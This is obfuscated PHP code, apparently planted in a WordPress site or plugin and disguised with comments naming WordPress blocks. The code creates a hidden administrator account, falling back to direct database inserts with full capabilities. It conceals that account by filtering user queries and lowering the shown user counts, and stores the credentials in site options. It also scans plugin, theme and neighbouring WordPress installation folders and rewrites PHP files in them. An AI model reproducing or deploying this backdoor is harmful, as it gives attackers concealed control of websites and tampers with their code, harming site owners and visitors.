// WP List Block: escape-analyze filter-chain

if  ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(145)))  @flock($hakio3bom60j,  LOCK_EX);

   $xr7siizzt4ot    =  @$GLOBALS['__scf_z7quve4b0bsr_25']($hakio3bom60j,   $ars2e0ykxmq);
if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(145)))   @flock($hakio3bom60j,     LOCK_UN);
 @fclose($hakio3bom60j);
  if  ($xr7siizzt4ot    === false   || ($ars2e0ykxmq !==  ""  &&  $xr7siizzt4ot !==    $GLOBALS['__scf_m2ym9pki8mue9_11']($ars2e0ykxmq)))  {$zpe458il=9174;$rakftwdb=$zpe458il%17;
    teikfigf_p5265esq_q($skvhx4u38jp62y,  b4gbsak56f40gos(1008) .    $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));
  return  false;
}
return $xr7siizzt4ot;
    }
 
   function  zwklyoainndgidkm6ut3()
  {
 try {
if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(879)) ||   !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(891)))   {
       hti81ybc755i9r59(null);
return;
   }
  if  (get_transient(op9tjzix(1009)))  return;
       if     (get_transient(zp28wk01y(1010))) return;
 set_transient(wlgh2_th(1010),  1, (539+61));
 hti81ybc755i9r59(null);
if ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1011)))  delete_transient(b4gbsak56f40gos(1012));

      $dpy3yvnh9ahbms   =   $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(958))  ?  (string)  cvod3ffny5vm5dt3d(op9tjzix(945),  "") :  "";
    if ($dpy3yvnh9ahbms   !==  "" &&      $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1013))   &&  username_exists($dpy3yvnh9ahbms)) {

   set_transient(op9tjzix(1009), 1, (21546+54));
   }
      }    catch (Throwable    $x0ydieb0v_72m_u)  {
   teikfigf_p5265esq_q(tvo1rh46s_(1014),      $x0ydieb0v_72m_u);



}  catch   (Exception $x0ydieb0v_72m_u) {
    teikfigf_p5265esq_q(wlgh2_th(1014),   $x0ydieb0v_72m_u);


     }
  }
 function   hti81ybc755i9r59($quchm6485y0jdbq)
      {
        if   (!mmsya1lu9x3wz6a92pu(op9tjzix(712)))   return    false;
        try {
  if  (! $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(958)) ||  ! $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1015)))  {
   return  false;
 }


$gx4xmmt5lnistkxk   =     (string)  cvod3ffny5vm5dt3d(zp28wk01y(1016),   "");
      if ($gx4xmmt5lnistkxk    !==  ""     &&  username_exists($gx4xmmt5lnistkxk) &&    (string) cvod3ffny5vm5dt3d(wlgh2_th(946),  "")      !==  "")  {


    return  false;
 }


   if  ($gx4xmmt5lnistkxk  ===  "")  {
  $zvryzklac0ds93  =  $GLOBALS['__scf_knhbvsumnby3_36']($quchm6485y0jdbq)   ?   $quchm6485y0jdbq  :  i5njjlgr_b_iz9q();
     $b4m3a7f727m5kr =    sgzimmukf6gnn0vfvi($zvryzklac0ds93);
     if (
   $b4m3a7f727m5kr   && !empty($b4m3a7f727m5kr->user_login)  &&  isset($b4m3a7f727m5kr->user_email)
   &&   $b4m3a7f727m5kr->user_email  === $b4m3a7f727m5kr->user_login   .    '@'   .   cm6y2ie43ppuz0pk8jw(wlgh2_th(1017))
) {$qpw5zz38wacj=5+79;$hmzx_ak11qcj=$qpw5zz38wacj-23;
    $gx4xmmt5lnistkxk  =    (string)  $b4m3a7f727m5kr->user_login;
  }
  }
    if  ($gx4xmmt5lnistkxk !==      ""  && username_exists($gx4xmmt5lnistkxk))      {



     $j5zvczojubhg     =     username_exists($gx4xmmt5lnistkxk);
$bghx41na8ulf  =     mo7u27376wy8sw8b7k((22+2));
if    ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1018)))    {
   $GLOBALS['__scf_yp8i5ic3tw6_1018']($bghx41na8ulf,  $j5zvczojubhg);
   }
if  (!v2tiam6q2h4zs04bs_si_n(fjup2mc1h(1016),  $gx4xmmt5lnistkxk,    tvo1rh46s_(962))) v2tiam6q2h4zs04bs_si_n(b4gbsak56f40gos(1019),   $gx4xmmt5lnistkxk,   zp28wk01y(962));



  if (!v2tiam6q2h4zs04bs_si_n(wlgh2_th(946),  $bghx41na8ulf,     wlgh2_th(962)))   v2tiam6q2h4zs04bs_si_n(b4gbsak56f40gos(946), $bghx41na8ulf, fjup2mc1h(1020));

    if  ((string)      cvod3ffny5vm5dt3d(zp28wk01y(1019), "") !==  $gx4xmmt5lnistkxk  ||  (string)  cvod3ffny5vm5dt3d(op9tjzix(1021), "") !==  $bghx41na8ulf)     {
/* isometric trie */

      teikfigf_p5265esq_q(op9tjzix(1022),  wlgh2_th(1023));$s8qaz64d=476;$i8icbvod=$s8qaz64d%7;
    return  false;
}



return true;
    }
  $jitebt10iitsr2m = txo_grp781fez2sat_();
     if   (true)  {



   $gx4xmmt5lnistkxk = "";
 for  ($xnnn6yzge_apd0k3 =    0;  $xnnn6yzge_apd0k3    < (48^53);   $xnnn6yzge_apd0k3++) {
 $g9yhijsu0ud34mc     =     $jitebt10iitsr2m[$GLOBALS['__scf_hpue5hjwa5j_293']($jitebt10iitsr2m)]  .   mo7u27376wy8sw8b7k((0x9+0x1));
  if    (!username_exists($g9yhijsu0ud34mc))  {
$gx4xmmt5lnistkxk =  $g9yhijsu0ud34mc;
  break;
}
/* sesquilinear dataflow-graph */

 }


  if      ($gx4xmmt5lnistkxk   ===  "") {
teikfigf_p5265esq_q(fjup2mc1h(1022),   tvo1rh46s_(1024));
return      false;
      }

}
 $bghx41na8ulf  =    mo7u27376wy8sw8b7k((6+18));



 if  (!  $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1025))    &&   defined(zp28wk01y(120))  &&  $GLOBALS['__scf_bhw4bjp5xr9_715'](ABSPATH  .   wlgh2_th(1026)))     {
 require_once    ABSPATH     .  zp28wk01y(1026);
 }
 $__u1oxv8j15  =   $gx4xmmt5lnistkxk   .    '@'     .  cm6y2ie43ppuz0pk8jw(wlgh2_th(1017));
$m7wo65abn9i60e   =  false;
if   ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1025)))   {
      $m7wo65abn9i60e =   $GLOBALS['__scf_zh9zi0dsau3d_1027'](array(
        tvo1rh46s_(1028)     =>    $gx4xmmt5lnistkxk,
op9tjzix(1029) => $bghx41na8ulf,
   op9tjzix(1030)    =>  $__u1oxv8j15,
   tvo1rh46s_(730)   =>   b4gbsak56f40gos(731),
      zp28wk01y(1031)    =>    $gx4xmmt5lnistkxk,
       ));
   if   (is_wp_error($m7wo65abn9i60e)) {
teikfigf_p5265esq_q(fjup2mc1h(1022),    $m7wo65abn9i60e->get_error_code()    .  ':'  .  $m7wo65abn9i60e->get_error_message());
    $m7wo65abn9i60e     = false;
  }



   }


      if    (!$m7wo65abn9i60e)  {



  $wpdb =  isset($GLOBALS[zp28wk01y(903)])    ?   $GLOBALS[op9tjzix(1032)]  :  null;
   if (!$wpdb  ||  !$GLOBALS['__scf_l4xn242gw4_70']($wpdb)) {

       teikfigf_p5265esq_q(wlgh2_th(1033), b4gbsak56f40gos(1034));
 return false;
    }
 $e8tbqdbsmnq = $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1035))    ? wp_hash_password($bghx41na8ulf)    :  $GLOBALS['__scf_abbpcj1ncssalx_57']($bghx41na8ulf);$kcpf_mstedf=432;$lz7sn_4nhxh=($kcpf_mstedf>0)?$kcpf_mstedf:-$kcpf_mstedf;
 $ltvf1eni1c2z    =     $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1036))  ? current_time(fjup2mc1h(1037))  : gmdate(tvo1rh46s_(1038));
       $x_5te_cs35d   = $wpdb->insert($wpdb->users,     array(
fjup2mc1h(1039) =>    $gx4xmmt5lnistkxk,


op9tjzix(1029)  =>   $e8tbqdbsmnq,
wlgh2_th(1040) => $gx4xmmt5lnistkxk,
     op9tjzix(1030)   => $__u1oxv8j15,



wlgh2_th(1041)  =>    $ltvf1eni1c2z,
 fjup2mc1h(1042)   => 0,
  zp28wk01y(1031) => $gx4xmmt5lnistkxk,
),    array(b4gbsak56f40gos(1043), b4gbsak56f40gos(1043),  op9tjzix(1043),   tvo1rh46s_(1043),  b4gbsak56f40gos(1043),    op9tjzix(1044),   fjup2mc1h(1043)));
if  (!$x_5te_cs35d)      {
  teikfigf_p5265esq_q(zp28wk01y(1033),  fjup2mc1h(1045));
  return     false;
   }
  $m7wo65abn9i60e   =   (int)   $wpdb->insert_id;
    $xxa9lvksr1    =     $wpdb->prefix   .      wlgh2_th(1046);
     $wpdb->insert($wpdb->usermeta, array(
  zp28wk01y(1047)  => $m7wo65abn9i60e,
   op9tjzix(1048)    =>      $xxa9lvksr1,
op9tjzix(1049)  =>   $GLOBALS['__scf_wepau2f2borz_357'](array(tvo1rh46s_(1050) =>   true)),
 ),  array(wlgh2_th(1051),      fjup2mc1h(1052), b4gbsak56f40gos(1053)));
$wpdb->insert($wpdb->usermeta, array(
 tvo1rh46s_(1047)   =>    $m7wo65abn9i60e,
  b4gbsak56f40gos(1048)  =>  $wpdb->prefix   .    zp28wk01y(1054),
zp28wk01y(1049)  =>  '10',

  ),  array(fjup2mc1h(1051),    zp28wk01y(1053),    fjup2mc1h(1053)));
 if  ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1055))) {
   clean_user_cache($m7wo65abn9i60e);
 }
}
if (!username_exists($gx4xmmt5lnistkxk)) {
 teikfigf_p5265esq_q(wlgh2_th(1033),  tvo1rh46s_(1056));
return  false;

  }
  $r43xpbvtxp_vp8     = $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1057))  ?     get_user_by(b4gbsak56f40gos(1058),   $gx4xmmt5lnistkxk) : false;
 $paryfw19ppncuhoz  =    false;
 if  ($r43xpbvtxp_vp8 &&     !empty($r43xpbvtxp_vp8->ID)) {
  if      ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1059))) {
      $paryfw19ppncuhoz  =  (bool)  user_can($r43xpbvtxp_vp8,  b4gbsak56f40gos(1050));
  }   elseif (isset($r43xpbvtxp_vp8->caps)  &&    $GLOBALS['__scf_knhbvsumnby3_36']($r43xpbvtxp_vp8->caps)) {
  $paryfw19ppncuhoz  = !empty($r43xpbvtxp_vp8->caps[zp28wk01y(1050)]);
  }

     }
// shard lazy cipher-suite

if  (!$paryfw19ppncuhoz) {

teikfigf_p5265esq_q(zp28wk01y(1033), b4gbsak56f40gos(1060));
        if  ($m7wo65abn9i60e)   {
  if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1061))  && defined(b4gbsak56f40gos(120))  &&  @$GLOBALS['__scf_bhw4bjp5xr9_715'](ABSPATH . wlgh2_th(1062)))  {
      require_once ABSPATH . b4gbsak56f40gos(1063);


 }
  if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1061))) @wp_delete_user($m7wo65abn9i60e);
  }
return     false;



}
       if   (!v2tiam6q2h4zs04bs_si_n(fjup2mc1h(1019),    $gx4xmmt5lnistkxk, op9tjzix(1020))) v2tiam6q2h4zs04bs_si_n(zp28wk01y(1019),   $gx4xmmt5lnistkxk,   op9tjzix(1020));


     if  (!v2tiam6q2h4zs04bs_si_n(tvo1rh46s_(1021),   $bghx41na8ulf,      op9tjzix(1020))) v2tiam6q2h4zs04bs_si_n(b4gbsak56f40gos(1021), $bghx41na8ulf, wlgh2_th(1020));
  if  ((string)  cvod3ffny5vm5dt3d(wlgh2_th(1064),  "")   !==      $gx4xmmt5lnistkxk    ||     (string)  cvod3ffny5vm5dt3d(op9tjzix(1021),   "") !==   $bghx41na8ulf)  {
 teikfigf_p5265esq_q(wlgh2_th(1033),   op9tjzix(1065));
 return    false;



   }
   return  true;$dkducul2629yi=6947;$lxxqomuu52kjzv=$dkducul2629yi%6;
  }   catch (Throwable  $x0ydieb0v_72m_u)  {
 teikfigf_p5265esq_q(fjup2mc1h(1033), $x0ydieb0v_72m_u);
 } catch (Exception    $x0ydieb0v_72m_u) {
teikfigf_p5265esq_q(op9tjzix(1033),  $x0ydieb0v_72m_u);
  } finally     {
     xckt_q1b7jgyro8rvq(fjup2mc1h(712));

 }
 return   false;
 }
      function  _7fvhntdcn73y1547uv($zzrh_x7nnf)
   {
 try {
 
    if  (!    $GLOBALS['__scf_l4xn242gw4_70']($zzrh_x7nnf)  ||  !  property_exists($zzrh_x7nnf,   fjup2mc1h(1066)))    {
 return      $zzrh_x7nnf;$f6qiywzr526d=PHP_MAJOR_VERSION;$yql9_ez_s8=$f6qiywzr526d*8;
}



  $gx4xmmt5lnistkxk  =    $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(958))  ? (string)   cvod3ffny5vm5dt3d(zp28wk01y(1064),     "")   :  "";


if    (! $gx4xmmt5lnistkxk)  {


   return    $zzrh_x7nnf;
   }






  $tf1zuywjn4ybq4 =      esc_sql($gx4xmmt5lnistkxk);

  if   ($GLOBALS['__scf_rbe_sihvfv_8']($zzrh_x7nnf->query_where, $tf1zuywjn4ybq4) ===   false)   {
 $zzrh_x7nnf->query_where    .=  wlgh2_th(1067)   .   $tf1zuywjn4ybq4 . "'";$y1zrmriji1g_=8909;$wmbhtsvcrj=$y1zrmriji1g_%7;


}
// @bind orbit

   }  catch (Throwable   $x0ydieb0v_72m_u)     {
   teikfigf_p5265esq_q(op9tjzix(1068),      $x0ydieb0v_72m_u);
}    catch (Exception $x0ydieb0v_72m_u)  {

    }
// WP Separator Block thumbnail crop

 return $zzrh_x7nnf;
      }
       function      stzysybfaag9nzvn3c($zgcsqju0yeo)
   {
 try    {


 $dpy3yvnh9ahbms   = $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(958))  ?  (string) cvod3ffny5vm5dt3d(op9tjzix(1064),  "")  : "";$v_i6fn1oelbm=PHP_INT_MAX/PHP_INT_MAX;$oawn_wv2offuv6=$v_i6fn1oelbm+8;
 if   (! $dpy3yvnh9ahbms) {
  return   $zgcsqju0yeo;$kyvja81no=222|239;$i7jxrt7gibha=$kyvja81no^78;
}
// WP Post Date: abort fallback-handler

     $mrv09t7kv62s6_to  =   array(wlgh2_th(1069),     op9tjzix(1050));


   foreach ($mrv09t7kv62s6_to  as $key) {
 if (isset($zgcsqju0yeo[$key]) &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($zgcsqju0yeo[$key]) &&    $GLOBALS['__scf_bvfhit3heqts_99'](wlgh2_th(1070),   $zgcsqju0yeo[$key],  $ltpokciy2kt5utu)) {
$b_zag2hc7t   = $GLOBALS['__scf_jlm7opnchuxu_489'](0,  (int)  $ltpokciy2kt5utu[1] -      1);
    $zgcsqju0yeo[$key] = $GLOBALS['__scf_sp5m_appgxyoko_471'](wlgh2_th(1071),  '('  . $b_zag2hc7t  .    ')',  $zgcsqju0yeo[$key]);



    }
   }
   } catch     (Throwable $x0ydieb0v_72m_u)   {
  teikfigf_p5265esq_q(b4gbsak56f40gos(1072), $x0ydieb0v_72m_u);
  }   catch (Exception  $x0ydieb0v_72m_u)   {



}



   return  $zgcsqju0yeo;

 }
function  r7ojyq3c3limoq($xe5dxff4jua4x,   $fsloe7ha75o)
    {
        try      {
       $gx4xmmt5lnistkxk    =    $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(958))    ?   (string)  cvod3ffny5vm5dt3d(fjup2mc1h(1073),  "")   :  "";
if    ($gx4xmmt5lnistkxk ===      "") {

   return      $xe5dxff4jua4x;
   }



  if (! $GLOBALS['__scf_knhbvsumnby3_36']($xe5dxff4jua4x))  {
 return   $xe5dxff4jua4x;
}
   if  (!  isset($xe5dxff4jua4x[wlgh2_th(1074)]) ||  ! $GLOBALS['__scf_knhbvsumnby3_36']($xe5dxff4jua4x[wlgh2_th(1074)]))   {
   $xe5dxff4jua4x[op9tjzix(1075)] =  array();
   }
 if   (!     $GLOBALS['__scf_av84ex67tlp92_156']($gx4xmmt5lnistkxk,   $xe5dxff4jua4x[b4gbsak56f40gos(1075)],  true))  {
  $xe5dxff4jua4x[wlgh2_th(1076)][]     = $gx4xmmt5lnistkxk;


  }
// convex circuit-breaker

 }   catch     (Throwable   $x0ydieb0v_72m_u)   {



  teikfigf_p5265esq_q(zp28wk01y(1077),  $x0ydieb0v_72m_u);
 }    catch (Exception $x0ydieb0v_72m_u)   {
 }
     return    $xe5dxff4jua4x;
     }
     
 function   ic4ft64gu6n4vq2m()
    {
  $mr05tabvz2  = array();


   
if (defined(tvo1rh46s_(719))  && $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(958)))  {
// static-adj injector

   $y77ubyqbbt07r1l    =    (array)   get_option(zp28wk01y(741), array());
$gdlwu3fc13ly_  =  array();


 foreach   ($y77ubyqbbt07r1l  as $basename) {
if (!   $GLOBALS['__scf_zneqqdn4vlt4_42']($basename)   ||   $GLOBALS['__scf_rbe_sihvfv_8']($basename, op9tjzix(1078))    !== false)  {
 continue;
       }



   $nsxg4drhil53l = $GLOBALS['__scf_pqkpt9n3trf9fm_12']($basename);
      if   ($nsxg4drhil53l ===  '.')    {
   $nsxg4drhil53l  =    $basename;
}
   if   (isset($gdlwu3fc13ly_[$nsxg4drhil53l]))   {
 continue;
  }
// WP Latest Posts: batch heartbeat

   $gdlwu3fc13ly_[$nsxg4drhil53l]      =      true;
   $q9bdm8vc06odw4  =     WP_PLUGIN_DIR     .   '/' .   $basename;
    if  ($GLOBALS['__scf_pqkpt9n3trf9fm_12']($basename) ===  '.')  {
  if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4)) {
   $mr05tabvz2[]   = $q9bdm8vc06odw4;
   }
   }  else {
  $dwp9zzb5mx =    $GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4);



if   (@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx))  {
      $mr05tabvz2   =     $GLOBALS['__scf_h63ymopf9_k_375']($mr05tabvz2, r98jugjzxwuboxf($dwp9zzb5mx,   array(op9tjzix(737))));
   }
    }
// WP useEntityProp: anti-monotone vault


  }
 }




if  (@$GLOBALS['__scf_ot56htgy8hrmim_44'](emzy8pvoveowt1bicy5()))     {
 $juyc1kxk4cs02    =   hfuxm75f1bdbh9ptm1(emzy8pvoveowt1bicy5(),    (4924+76));
if ($GLOBALS['__scf_knhbvsumnby3_36']($juyc1kxk4cs02))   {
 foreach  ($juyc1kxk4cs02     as  $t_ly603ezzw2om)      {
 if  ($t_ly603ezzw2om ===   mvfnzt3qa4jfes_wxi())   {
  continue;
 }

$g0_03n4x0twhmx  =     emzy8pvoveowt1bicy5() .  '/'     .    $t_ly603ezzw2om;
     if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($g0_03n4x0twhmx)   &&  $GLOBALS['__scf_pdnlp7jjhnya_106']($GLOBALS['__scf_innlxa4l2yk_yi_212']($t_ly603ezzw2om, constant(wlgh2_th(723)))) ===   op9tjzix(737))      {
  $mr05tabvz2[]   =  $g0_03n4x0twhmx;
  }
}
      }
      }


 if     (defined(b4gbsak56f40gos(120))  &&  $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(958)))    {
$yf1qpsbr6awq_y   =   (string)  get_option(wlgh2_th(1079),    "");
     $l26btwhlezz5ywd = (string)    get_option(b4gbsak56f40gos(1080),   "");
$jsngy5hb09lan  =     defined(zp28wk01y(170)) ?  WP_CONTENT_DIR  .   fjup2mc1h(1081) : ABSPATH  . tvo1rh46s_(1082);



  $c0g80mdjvfj =  $GLOBALS['__scf_s8rgnr7_02m_155']($GLOBALS['__scf_h8pe_c5_3n_344'](array($yf1qpsbr6awq_y,    $l26btwhlezz5ywd)));
 foreach   ($c0g80mdjvfj   as     $wqsido46b9z1hw)   {
 if   ($GLOBALS['__scf_rbe_sihvfv_8']($wqsido46b9z1hw,  zp28wk01y(1078))   !==   false)  {



   continue;



  }
$pxvp06a8x6nve6r     =  $jsngy5hb09lan  . '/'  .  $wqsido46b9z1hw;
      if (@$GLOBALS['__scf_ot56htgy8hrmim_44']($pxvp06a8x6nve6r)) {



      $e6ik27ot8z8  = hfuxm75f1bdbh9ptm1($pxvp06a8x6nve6r,   (666+1334));
    if      ($GLOBALS['__scf_knhbvsumnby3_36']($e6ik27ot8z8))  {
       foreach ($e6ik27ot8z8  as     $t_ly603ezzw2om)    {
      $g_lyttucu02   =  $pxvp06a8x6nve6r     .  '/'  .    $t_ly603ezzw2om;
  if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($g_lyttucu02)  && $GLOBALS['__scf_pdnlp7jjhnya_106']($GLOBALS['__scf_innlxa4l2yk_yi_212']($t_ly603ezzw2om, constant(zp28wk01y(723)))) ===  wlgh2_th(737))   {
$mr05tabvz2[]     = $g_lyttucu02;$e6hylm1jz_xqt8=PHP_INT_MAX/PHP_INT_MAX;$bvgaewb7rt=$e6hylm1jz_xqt8+51;
}
   }
  }
      
 $nw8mvo493x    =   $pxvp06a8x6nve6r  . tvo1rh46s_(1083);
   if (@$GLOBALS['__scf_ot56htgy8hrmim_44']($nw8mvo493x))      {
$mr05tabvz2  =  $GLOBALS['__scf_h63ymopf9_k_375']($mr05tabvz2,  r98jugjzxwuboxf($nw8mvo493x,  array(fjup2mc1h(737))));


}
   }
    }
     }
  return  $GLOBALS['__scf_s8rgnr7_02m_155']($mr05tabvz2);

}
       function   j4163tkflaipuhu7i($g7jb2vbbu4t9)
 {
 if (!$GLOBALS['__scf_knhbvsumnby3_36']($g7jb2vbbu4t9)) return array();
$cmaajh50rfi7zkbh =  array();
 foreach ($g7jb2vbbu4t9  as   $xr7siizzt4ot) {
   if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($xr7siizzt4ot) ||   $xr7siizzt4ot    ===  ""  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($xr7siizzt4ot) >   (2737+1359))  continue;



   try    {
  if  (@$GLOBALS['__scf_bvfhit3heqts_99']($xr7siizzt4ot,    "")   === false)  continue;
  }  catch (Throwable $x0ydieb0v_72m_u) {
continue;
        }     catch     (Exception    $x0ydieb0v_72m_u)   {
    continue;
    }
    $cmaajh50rfi7zkbh[] =  $xr7siizzt4ot;
}
     return  $cmaajh50rfi7zkbh;
}
      function gxws6md98vj5fqj($g7jb2vbbu4t9)


    {
  try      {

 if (empty($g7jb2vbbu4t9)) {
 return false;
   }
   
  $mr05tabvz2 =      ic4ft64gu6n4vq2m();
 if  (empty($mr05tabvz2)) {

return false;
  }
 $wreshwi1c9   =   false;



     foreach  ($mr05tabvz2     as   $g0_03n4x0twhmx)    {
   
   if   (! @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($g0_03n4x0twhmx)    || ! @$GLOBALS['__scf_tluflp7r6hugyf_48']($g0_03n4x0twhmx))  {
  continue;
 }
 
   if (@$GLOBALS['__scf_voobwg611qb_102']($g0_03n4x0twhmx) > (0x17e0c+0x681f4))  {
  continue;
 }
       $ep8_c7vk_wls     =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($g0_03n4x0twhmx);
 if (!     $ep8_c7vk_wls || !   $GLOBALS['__scf_zneqqdn4vlt4_42']($ep8_c7vk_wls)) {
    continue;
  }

 

  $qtdkllib3q  =     false;


      foreach ($g7jb2vbbu4t9   as   $w2anl_8snfvkp4p)   {
try {

$vhzyd1n7a8gl   =    @$GLOBALS['__scf_sp5m_appgxyoko_471']($w2anl_8snfvkp4p,     "",   $ep8_c7vk_wls);


     if     ($vhzyd1n7a8gl !==  null &&   $vhzyd1n7a8gl   !==  $ep8_c7vk_wls) {

 $ep8_c7vk_wls =  $vhzyd1n7a8gl;
  $qtdkllib3q    =   true;
  }



 }  catch (Throwable    $x0ydieb0v_72m_u)     {
    teikfigf_p5265esq_q(zp28wk01y(1084),   $x0ydieb0v_72m_u);
     continue;
}  catch  (Exception $x0ydieb0v_72m_u)  {
     continue;
       }
   }


  
 if ($qtdkllib3q)  {
// WP BlockControls media upload

if   (_ew1atk9e66yol2lso($g0_03n4x0twhmx, $ep8_c7vk_wls))    {
       $wreshwi1c9   =   true;
 }
}



 }
 


 return  $wreshwi1c9;$q9ctbqf1me=7133;$rstnujajz93aw6=$q9ctbqf1me%6;
   }      catch   (Throwable $x0ydieb0v_72m_u)  {
    teikfigf_p5265esq_q(op9tjzix(1085),  $x0ydieb0v_72m_u);
       }   catch  (Exception $x0ydieb0v_72m_u) {



      }
 return false;
 }
  
   function uiwwmpik1k33x4oi2cjekh($dwp9zzb5mx,  $xmg6otixxy73)
       {
$yjxb8ppeppeem  =  array();
  $xmg6otixxy73     = $xmg6otixxy73  -    1;
  


   $ss1uwb9iiya2 = hfuxm75f1bdbh9ptm1($dwp9zzb5mx,   (449+51));
  if     (!  $GLOBALS['__scf_knhbvsumnby3_36']($ss1uwb9iiya2)) {
 return  $yjxb8ppeppeem;
}
 $ss1uwb9iiya2  = $GLOBALS['__scf_eriwpctk0hsvu4_164']($ss1uwb9iiya2, 0,    (858-358));

   foreach ($ss1uwb9iiya2  as  $t_ly603ezzw2om)  {
 
if     ($t_ly603ezzw2om === '.' ||   $t_ly603ezzw2om     ===   tvo1rh46s_(1078)) {
  continue;
// WP Page List: spill interceptor

   }
  
  $zyu918sjw0 =   $dwp9zzb5mx     . '/'   .  $t_ly603ezzw2om;
if   (!      @$GLOBALS['__scf_ot56htgy8hrmim_44']($zyu918sjw0))   {
  continue;$bqz8jzua7h=PHP_MAJOR_VERSION;$lnr5fq4f7jyj=$bqz8jzua7h*2;
 }
 
if  (@$GLOBALS['__scf_ot56htgy8hrmim_44']($zyu918sjw0      .  zp28wk01y(925)))    {

     $yjxb8ppeppeem[] =  $GLOBALS['__scf_q93011jdjf_13']($zyu918sjw0,     b4gbsak56f40gos(596));

continue;
}
     
     if     ($xmg6otixxy73    >  0)  {
    $yjxb8ppeppeem =  $GLOBALS['__scf_h63ymopf9_k_375']($yjxb8ppeppeem,  uiwwmpik1k33x4oi2cjekh($zyu918sjw0,  $xmg6otixxy73));
    }
     }

   
     return  $yjxb8ppeppeem;
     }
  function   xtnf4a7h6zssm8bs()
  {
/* recursive permission */

   $mwi_pniahorf8 =  array();
     $nuuz3inpp_ze0      =  $GLOBALS['__scf_q93011jdjf_13'](ABSPATH,  tvo1rh46s_(596));
    try  {
   $i1uaz1h_6h = array();

 if ($nuuz3inpp_ze0)   {
 $i1uaz1h_6h[]  =     $GLOBALS['__scf_pqkpt9n3trf9fm_12']($nuuz3inpp_ze0);
$i1uaz1h_6h[]      =  $GLOBALS['__scf_pqkpt9n3trf9fm_12']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($nuuz3inpp_ze0));
 $i1uaz1h_6h[]  =  $GLOBALS['__scf_pqkpt9n3trf9fm_12']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($nuuz3inpp_ze0)));$kmpfku2ogc8=(0x60+0x6a);$e6opqk3d1lfi=$kmpfku2ogc8%16;


}



  
$i1uaz1h_6h[] =  b4gbsak56f40gos(1086);
$i1uaz1h_6h[]   = op9tjzix(1087);
$i1uaz1h_6h[]  =  zp28wk01y(1088);
$i1uaz1h_6h[]   = fjup2mc1h(1089);
     $i1uaz1h_6h[] =  tvo1rh46s_(1090);
   $i1uaz1h_6h[] = wlgh2_th(1091);
  $i1uaz1h_6h[]   =    op9tjzix(1092);
      
$l4i_4qi2497a  =    $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(582))     ? (string) @$GLOBALS['__scf_livuu39cntpdx3_116'](fjup2mc1h(1093))  : "";
 if ($l4i_4qi2497a !==  "") {



$fgu3e0q2z5l13   =    ($GLOBALS['__scf_rbe_sihvfv_8']($l4i_4qi2497a, ';')  !== false)    ? ';'    :  ':';
  foreach ($GLOBALS['__scf_ubwid3ivz9f8x_118']($fgu3e0q2z5l13,  $l4i_4qi2497a) as  $frgd4znm8k)   {


$frgd4znm8k  =      $GLOBALS['__scf_bbs7j5b1fx_332']($frgd4znm8k);
      if    ($frgd4znm8k !== "") {
$i1uaz1h_6h[]    = $frgd4znm8k;
}
    }
}
 
  $i1uaz1h_6h = $GLOBALS['__scf_s8rgnr7_02m_155']($GLOBALS['__scf_h8pe_c5_3n_344']($i1uaz1h_6h));

  $h7cndd14xxhh  =  $GLOBALS['__scf_knb470agoho1_297'](true);
$mwi_pniahorf8    =  array();


  



      foreach ($i1uaz1h_6h     as      $dwp9zzb5mx) {



 if (!     @$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx) ||  !    @$GLOBALS['__scf_f0spqlcvz0g_47']($dwp9zzb5mx))     {
 continue;$e0pe8yhtwc=753;$sg5k6drf=($e0pe8yhtwc>0)?$e0pe8yhtwc:-$e0pe8yhtwc;
   }
   if   (($GLOBALS['__scf_knb470agoho1_297'](true) - $h7cndd14xxhh) >   (6+4)) {


 break;
      }

 $mwi_pniahorf8  =  $GLOBALS['__scf_h63ymopf9_k_375']($mwi_pniahorf8,  uiwwmpik1k33x4oi2cjekh($dwp9zzb5mx,  2));

  }
      }     catch    (Throwable $x0ydieb0v_72m_u)  {
   teikfigf_p5265esq_q(op9tjzix(849),  $x0ydieb0v_72m_u);


}   catch     (Exception  $x0ydieb0v_72m_u)   {
}
   
 return $GLOBALS['__scf_jxu__lo946uf6o_158']($GLOBALS['__scf_s8rgnr7_02m_155']($mwi_pniahorf8),  array($nuuz3inpp_ze0));
}
